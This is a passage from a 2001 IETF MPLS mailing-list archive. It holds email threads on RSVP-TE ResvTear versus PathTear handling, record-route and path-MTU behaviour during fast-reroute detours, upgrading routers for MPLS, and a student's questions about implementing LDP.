>deal - the message will just be ignored.  If, however, you do not send a
>ResvTear when you should have, the neighbor's Resv state will not go
>away until it times out.  Depending on how the routers are configured,
>this could be quite a long time.
>
> > 2. And send a pathtear to the nexthop
>
>This is wrong.  Path state should not be deleted when Resv state is
>deleted.  It must remain established, and the node must continue
>refreshing it.
>
>It is perfectly legal (and not unusual in classical RSVP) for an egress
>node to delete a reservation and later re-establish it with different
>parameters.
>
>Don't think of RSVP as a variation on LDP.  It is not.  A Path message
>is not just a request for a label.  It establishes state in and of
>itself.  It is not something that can be causally discarded simply
>because some corresponding Resv state has been destroyed.

HMP : I am assuming only RSVP-TE for the current discussion. Excuse me
      because i am using terms that may seem to resemble LDP here, but
      idea is not to compare RSVP-TE with LDP..

      You are saying that resvTear != LabelWithdraw. It seems to me
      that resv msg = labelMap because it does give the label
      mapping. And hence any resvTear = LabelWithdraw, in response to
      which i am saying the node can generate pathTear = labelRel.

      If we take an example scenario, RSB on some hop times out for
      whatever reason resulting in generation of resvTear upstream.
      According to what you are saying, LSP should remain intact and
      continue to forward traffic but with no Qos etc which does not
      look right. You are also making an assumption that any subsequent
      RESV msg that might re-establish RSB will retain the same label..


      Which also means that only time an LSP is cleaned is because of
      psb timout or on receiving pathTear msg. Is this how RSVP-TE LSP
      signalling designed to work..


      BTW i did look at RFC2209 wrt to vanilla RSVP. There is no
      mention of generating Pathtear in response to processing of
      ResvTear msg.

>
>-- David


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Thu Oct 11 19:10:03 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA28257
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 19:10:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkim15513;
	Thu, 11 Oct 2001 23:09:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkim19792
	for mpls-outgoing; Thu, 11 Oct 2001 23:09:18 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkim19783
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 23:09:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkim12240
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:09:04 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQlkim07085
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:08:56 GMT
Received: from dundee.cisco.com (dundee.cisco.com [171.69.198.41])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f9BN92g12534;
	Thu, 11 Oct 2001 16:09:02 -0700 (PDT)
Received: (bora@localhost) by dundee.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA14330; Thu, 11 Oct 2001 16:08:57 -0700 (PDT)
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: Re: New revision of the MPLS ttl draft
References: <4B6D09F3B826D411A67300D0B706EFDE5CCA93@nt-exch-yow.pmc-sierra.bc.ca>
From: Bora Akyol <bora@cisco.com>
Date: 11 Oct 2001 16:08:57 -0700
In-Reply-To: Shahram Davari's message of "Thu, 11 Oct 2001 13:54:15 -0700"
Message-ID: <c3npu7tvkom.fsf@dundee.cisco.com>
Lines: 36
X-Mailer: Gnus v5.7/Emacs 20.7
Sender: owner-mpls@UU.NET
Precedence: bulk

Shahram

Our draft allows the service provider flexibility in setting what they
want in the egress LSR easily supporting the model you want to see as
well. 

(In fact one can easily configure a default TTL decrement if desired
such that it is the customer router that does the most of the TTL
decrementing on egress)

Regards

Bora

Shahram Davari <Shahram_Davari@pmc-sierra.com> writes:


> Puneet,
> 
> >Much 
> > like for IP,
> > where a node can decrement the TTL by more than 1 (rfc1812), 
> > we leave the
> > door open for service providers to configure their egress 
> > LSRs to decrement
> > by more than 1.
> 
> When a provider decides to decrement more than 1, it means that the provider is willing to store customers' TTL policy (decrement value). In that case he might store the Diffserv policy (PHB<=>EXP) as well and therefore use the short pipe.
> 
> >In (C), the service providers egress LSR *is* doing
> > deterministic (customer independent) TTL processing. 
> 
> Anything which is configurable can't be deterministic unless either signaled or written in the SLA. The signaling is not desirable, and writing it in SLA, means that it can't be changed quickly, which defeats the purpose of subtracting more than one.
> 
> Yours,
> -Shahram 


From owner-mpls@UU.NET  Thu Oct 11 19:19:16 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA28359
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 19:19:16 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkin01710;
	Thu, 11 Oct 2001 23:18:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkin20943
	for mpls-outgoing; Thu, 11 Oct 2001 23:18:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkin20938
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 23:18:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkin10656
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:15:06 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkin25452
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:15:20 GMT
Message-ID: <3BC627F8.7B7250D7@sandburst.com>
Date: Thu, 11 Oct 2001 19:15:04 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: David Charlap <David.Charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: resvtear msg
References: <F210CnJ711HZv7FDwfC00003868@hotmail.com> <3BC60DFF.82D480AC@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hariom,

    David is correct, though there is another way to look at it: sending a
PathTear message at an intermediate node would be a waste of time
since the sender will continue to send Path messages and intermediate
nodes will then be required to forward them.  A subsequent Path message
will simply re-establish the Path state deleted as a result of an earlier
PathTear message.  It doesn't really matter whether the Path message
is a result of a refresh by the intermediate node, or the result of 'passing
on' a Path message from the sender.

David Charlap wrote:

> Hariom P wrote:
> >
> > Why can't every hop that processes resvtear do the following,
> > 1. Del matching reserv state and forward resvtear if required to the
> >    prevhop
>
> It should always send a ResvTear after deleting the corresponding
> state.  If the state is not present on the previous-hop router, then
> that router will ignore the message.  It is unreasonable to expect a
> router to know with certainty what the adjacent routers' states are.
>
> If you send a ResvTear when the neighbor has no state, it's not a big
> deal - the message will just be ignored.  If, however, you do not send a
> ResvTear when you should have, the neighbor's Resv state will not go
> away until it times out.  Depending on how the routers are configured,
> this could be quite a long time.
>
> > 2. And send a pathtear to the nexthop
>
> This is wrong.  Path state should not be deleted when Resv state is
> deleted.  It must remain established, and the node must continue
> refreshing it.
>
> It is perfectly legal (and not unusual in classical RSVP) for an egress
> node to delete a reservation and later re-establish it with different
> parameters.
>
> Don't think of RSVP as a variation on LDP.  It is not.  A Path message
> is not just a request for a label.  It establishes state in and of
> itself.  It is not something that can be causally discarded simply
> because some corresponding Resv state has been destroyed.
>
> -- David

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct 11 19:21:37 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA28413
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 19:21:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkin23652;
	Thu, 11 Oct 2001 23:20:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkin21107
	for mpls-outgoing; Thu, 11 Oct 2001 23:20:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkin21094
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 23:20:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkin00121
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:20:29 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkin22997
	for <mpls@UU.NET>; Thu, 11 Oct 2001 23:20:21 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA04528
	for <mpls@UU.NET>; Thu, 11 Oct 2001 19:20:26 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA04586
	for <mpls@UU.NET>; Thu, 11 Oct 2001 19:20:28 -0400 (EDT)
Message-ID: <3BC6295C.856E96E0@marconi.com>
Date: Thu, 11 Oct 2001 19:21:00 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: resvtear msg
References: <F131AGUjGnAKYoo9tjx00003bfd@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hariom P wrote:
> 
> You are saying that resvTear != LabelWithdraw. It seems to me that
> resv msg = labelMap because it does give the label mapping. And
> hence any resvTear = LabelWithdraw, in response to which i am
> saying the node can generate pathTear = labelRel.

This is simply not true.  When an LDP box receives a Label Request, the
message is just that - a request for a label.  It does not establish any
state, other than the request itself.  When a label is withdrawn in LDP,
the label-release accomplishes nothing more than an acknowledgement of
the withdraw.

On the other hand, when an RSVP box receives a Path message, state is
established on the router, even if a Resv message is never received. 
This state exists before the Resv arrives, and it remains after the Resv
arrives.

> If we take an example scenario, RSB on some hop times out for
> whatever reason resulting in generation of resvTear upstream.
> According to what you are saying, LSP should remain intact and
> continue to forward traffic but with no Qos etc which does not
> look right. You are also making an assumption that any subsequent
> RESV msg that might re-establish RSB will retain the same label..

No, that is not what I am saying.

When the ResvTear arrives, the LSP goes down.  You can't forward labeled
traffic without a label.

But the Path state is still there.  This state is not sufficient to
continue forwarding data, but it must remain in case another Resv should
arrive for it - which will re-establish the LSP (perhaps with a
different label).

> Which also means that only time an LSP is cleaned is because of
> psb timout or on receiving pathTear msg. Is this how RSVP-TE LSP
> signalling designed to work.

The "LSP" is established on a router only when there is both Path and
Resv state.  A ResvTear deletes the Resv state.  A PathTear deletes
both.

> BTW i did look at RFC2209 wrt to vanilla RSVP. There is no mention
> of generating Pathtear in response to processing of ResvTear msg.

Right.  Because it isn't done.

-- David


From owner-mpls@UU.NET  Thu Oct 11 20:24:51 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA29367
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 20:24:51 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkir25145;
	Fri, 12 Oct 2001 00:24:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkir14879
	for mpls-outgoing; Fri, 12 Oct 2001 00:23:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkir14874
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 00:23:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkir04043
	for <mpls@UU.NET>; Fri, 12 Oct 2001 00:23:22 GMT
Received: from mailhost.avici.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.246.215.9])
	id QQlkir25330
	for <mpls@UU.NET>; Fri, 12 Oct 2001 00:23:14 GMT
Received: from aatlas-pc (aatlas-pc.avici.com [10.2.20.92])
	by mailhost.avici.com (8.11.0/8.11.0) with SMTP id f9C0MdA21133;
	Thu, 11 Oct 2001 20:22:39 -0400 (EDT)
Message-Id: <4.1.20011011201325.00b909c0@mailhost.avici.com>
X-Sender: aatlas@mailhost.avici.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 11 Oct 2001 20:17:43 -0500
To: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
From: Alia Atlas <aatlas@avici.com>
Subject: Re: draft-gan-fast-reroute
Cc: francis.arts@alcatel.be, mpls@UU.NET
In-Reply-To: <Pine.GSO.3.95.1011011183708.4193A-100000@mercury.mctr.umbc
 .edu>
References: <OF6566095C.9AC73AF4-ONC1256AE1.0072BC61@net.alcatel.be>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:
>Hi,
>
>> 
>> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>>  
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^ 
>>                       |                       | 
>>                       +-----------------------+ 
>> 
>> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].
>> 
>> Assume that the link between node 2 and node 3 fails. Then the detour
>> [node 2 - node 4] is taking over. But what does node 2 then send in the
>> RRO object of the RESV message to node 1: Does node 2 continue to send
>> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
>> @(detour between 4-2), @(egress-4)] or ...? 
>> 
>---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)] 
>as the RRO in the Resv once the detour has taken over.

No, the RRO in the RESV for the Primary LSP would not change.  Node 2 would
continue to send the same RRO as before the failure.

If you look at lsp-tunnel-09.txt, there is a "local protection in-use" flag
which could be set in the IPv4 subobject of the RRO, but the implementation
of draft-gan with which I am familiar doesn't do this.

Alia




From owner-mpls@UU.NET  Thu Oct 11 21:42:47 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA01420
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 21:42:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkiw05268;
	Fri, 12 Oct 2001 01:42:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkiw10024
	for mpls-outgoing; Fri, 12 Oct 2001 01:42:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkiw10019
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 01:42:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkiw03334
	for <mpls@UU.net>; Fri, 12 Oct 2001 01:39:58 GMT
Received: from mailFA3.rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.54.124.148])
	id QQlkiw14888
	for <mpls@UU.net>; Fri, 12 Oct 2001 01:40:07 GMT
Received: (qmail 6490 invoked by uid 510); 12 Oct 2001 01:40:05 -0000
Date: 12 Oct 2001 01:40:05 -0000
Message-ID: <20011012014005.6489.qmail@mailFA3.rediffmail.com>
Received: from unknown (134.193.128.21) by rediffmail.com via HTTP; 12 Oct 2001 01:40:05 -0000
MIME-Version: 1.0
From: "k m a" <technology2001@rediffmail.com>
Reply-To: "k m a" <technology2001@rediffmail.com>
To: <mpls@UU.NET>
Subject: router architecture for MPLS
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id VAA01420


hi all, 
can somebody tell me what changes we will need to make or upgradations
required in a router to make it MPLS enabled.i mean am talking bout the
router architecture,whether we need to revamp the whole architecture or
some mere software upgrades will dot the thing. can a normal router be upgraded or we require a complete replacement.
thanx 
k



 
 
 
 
  Reply Reply All Forward   Previous  Next    Delete Message  
 
 Select folder to move checked messages Trash Sent Messages Drafts        
 Read Message : Inbox  
 

--------------------------------------------------------------------------------
© 1996 - 2001 rediff.com India Limited. All Rights Reserved.  
 
 



From owner-mpls@UU.NET  Thu Oct 11 21:56:55 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA01617
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 21:56:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkix01379;
	Fri, 12 Oct 2001 01:56:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkix10973
	for mpls-outgoing; Fri, 12 Oct 2001 01:56:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkix10952
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 01:56:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkix00726
	for <mpls@UU.NET>; Fri, 12 Oct 2001 01:55:49 GMT
Received: from acc.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailsrv.acc.com [129.192.64.128])
	id QQlkix00326
	for <mpls@UU.NET>; Fri, 12 Oct 2001 01:56:03 GMT
Received: from PRALAY (devdhcp63138.dev.acc.am.ericsson.se [129.192.63.138])
	by acc.com (8.12.0/8.12.0) with SMTP id f9C1tlYD005277;
	Thu, 11 Oct 2001 18:55:47 -0700 (PDT)
Reply-To: <kameswara.rao@ericsson.com>
From: "Kameswara Rao Avasarala" <kameswara.rao@ericsson.com>
To: "k m a" <technology2001@rediffmail.com>, <mpls@UU.NET>
Subject: RE: router architecture for MPLS
Date: Thu, 11 Oct 2001 18:53:17 -0700
Message-ID: <NFBBKEFENKFMNNGOOAAIEEBBCEAA.kameswara.rao@ericsson.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-reply-to: <20011012014005.6489.qmail@mailFA3.rediffmail.com>
Disposition-Notification-To: "Kameswara Rao Avasarala" <kameswara.rao@ericsson.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi ,
     I think that you should be able to convert a router into an LSR by
doing a software upgrade.However the software upgrade will not be a trivial
one .
Kamesh.

Kameswara Rao Avasarala
Software Engineer
Ericsson Inc
Telephone:
Work:805-562-6212
Resi: 805-562-8841




-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of k m a
Sent: Thursday, October 11, 2001 6:40 PM
To: mpls@UU.NET
Subject: router architecture for MPLS



hi all,  can somebody tell me what changes we will need to make or
upgradations required in a router to make it MPLS enabled.i mean am talking
bout the router architecture,whether we need to revamp the whole
architecture or some mere software upgrades will dot the thing. can a normal
router be upgraded or we require a complete replacement. thanx  k
Reply Reply All Forward   Previous  Next    Delete Message      Select
folder to move checked messages Trash Sent Messages Drafts          Read
Message :
      ----------------------------------------------------------------------
---------- © 1996 - 2001 rediff.com India Limited. All Rights Reserved.



From owner-mpls@UU.NET  Thu Oct 11 23:10:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA03514
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 23:10:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkjc07912;
	Fri, 12 Oct 2001 03:10:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkjc25199
	for mpls-outgoing; Fri, 12 Oct 2001 03:09:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkjc25162
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 03:09:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkjc27313
	for <mpls@UU.NET>; Fri, 12 Oct 2001 03:08:59 GMT
Received: from mailFA12.rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.54.124.130])
	id QQlkjc12169
	for <mpls@UU.NET>; Fri, 12 Oct 2001 03:09:13 GMT
Received: (qmail 4582 invoked by uid 510); 12 Oct 2001 03:09:02 -0000
Date: 12 Oct 2001 03:09:02 -0000
Message-ID: <20011012030902.4581.qmail@mailFA12.rediffmail.com>
Received: from unknown (134.193.128.230) by rediffmail.com via HTTP; 12 Oct 2001 03:09:02 -0000
MIME-Version: 1.0
From: "k m a" <technology2001@rediffmail.com>
Reply-To: "k m a" <technology2001@rediffmail.com>
To: "Kameswara Rao Avasarala" <kameswara.rao@ericsson.com>
Cc: <mpls@UU.NET>
Subject: Re: RE: router architecture for MPLS
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id XAA03514


Hi all,
     I am eager to implement LDP STATE MACHINE(MPLS LABEL DISTRIBUTION PROTOCOL,IN FREE BSD) but i am not able to understand the use of implementing LDP.some of the questions within me are  as follows,
1.which is better" doing at kernel level(which involves kernel recompiling) or using existing models like NIST SWITCH environment and including my code for LDP(i told him the second one)".

2.Even if i am implementing ,what is the purpose of implementing.can it that i can compare the characteristics (performance) of LDP  with other existing label distribution protocols like RSVPd and BGP .even when i am doing that implementation work  what  are the parameters i can compare??

3.also,can i not do the comparison of performance with just the simulation itself???

4.the main question is"WHAT IS THE PURPOSE OF IMPLEMENTING LDP,.IN AN ACADEMIC ENVIRONMENT WHERE RESEARCH IS THE MAIN GOAL REALLY PLEASE TELL ME FOR WHAT REASON SHOULD I PROCEED WITH PROCESS OF IMPLEMENTING SINCE CISCO AND JUNIPER IS DOING THAT WORK ALREADY"

5.what features will i use to check the performance??can i use packet sniffers like ethreal or TCPdump????will those s/w sniff my code????or what are the other tools i can use???
       
  Pease also through light what type of research can be done at academic resaerch level in the area of MPLS and TE .
Thanks in advance,

AYYASAMY SENTHILKUMAR         5000,oak street
Masters in Computer networking     #twin oaks apt625  
Dept. of telecommunication            kansas city  
university of missouri                     Missouri-64112
kansas city ,MI-64112                   phone:816-531-2005 


 



From owner-mpls@UU.NET  Fri Oct 12 01:23:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05602
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 01:23:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkjl19474;
	Fri, 12 Oct 2001 05:22:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkjl13730
	for mpls-outgoing; Fri, 12 Oct 2001 05:22:13 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkjl13725
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 05:22:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkjl27224
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:21:44 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkjl04566
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:21:58 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9C5KjI13997;
	Fri, 12 Oct 2001 07:20:49 +0200 (MET DST)
To: Alia Atlas <aatlas@avici.com>
Cc: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>, mpls@UU.NET
Subject: Re: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFAB5DA682.2C242222-ONC1256AE3.001C4320@net.alcatel.be>
Date: Fri, 12 Oct 2001 07:20:44 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/12/2001 07:20:59,
	Serialize complete at 10/12/2001 07:20:59
MIME-Version: 1.0
Content-Type: multipart/related; boundary="=_related 001D5D42C1256AE3_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_related 001D5D42C1256AE3_=
Content-Type: multipart/alternative; boundary="=_alternative 001D5D46C1256AE3_="


--=_alternative 001D5D46C1256AE3_=
Content-Type: text/plain; charset="us-ascii"

Arthi, Alias,

* When reading the gan-draft, I assumed that node 2 would send [@(2-1), @(3-2), @(4-3), @(egress-4)]. I deduced this from the statement on p.10 (2nd paragraph) of the draft 
saying that <<the branching node MUST not mix the messages for the main and the detour LSP's>>.


* A similar question as for the RRO shows up for the path MTU: Which path 
MTU does node 2 send in the RESV to node 1 after the detour [node 2 - node 
4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 - 
egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress]?

In order to avoid fragmentation in the middle of the lsp, it is preferable 
to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress].



In order to answer all these questions (and new similar questions that may 
show up), we need to look at the general question: How do the signalling 
contexts of the main LSP and the detour LSP interact once the detour LSP 
has taken over?

Regards,

        Francis.

-------------------






To:
Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
cc:
Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET


Subject:
Re: draft-gan-fast-reroute



At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:
>Hi,
>
>>
>> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>>
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^
>>                       |                       |
>>                       +-----------------------+
>>
>> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].
>>
>> Assume that the link between node 2 and node 3 fails. Then the detour
>> [node 2 - node 4] is taking over. But what does node 2 then send in the
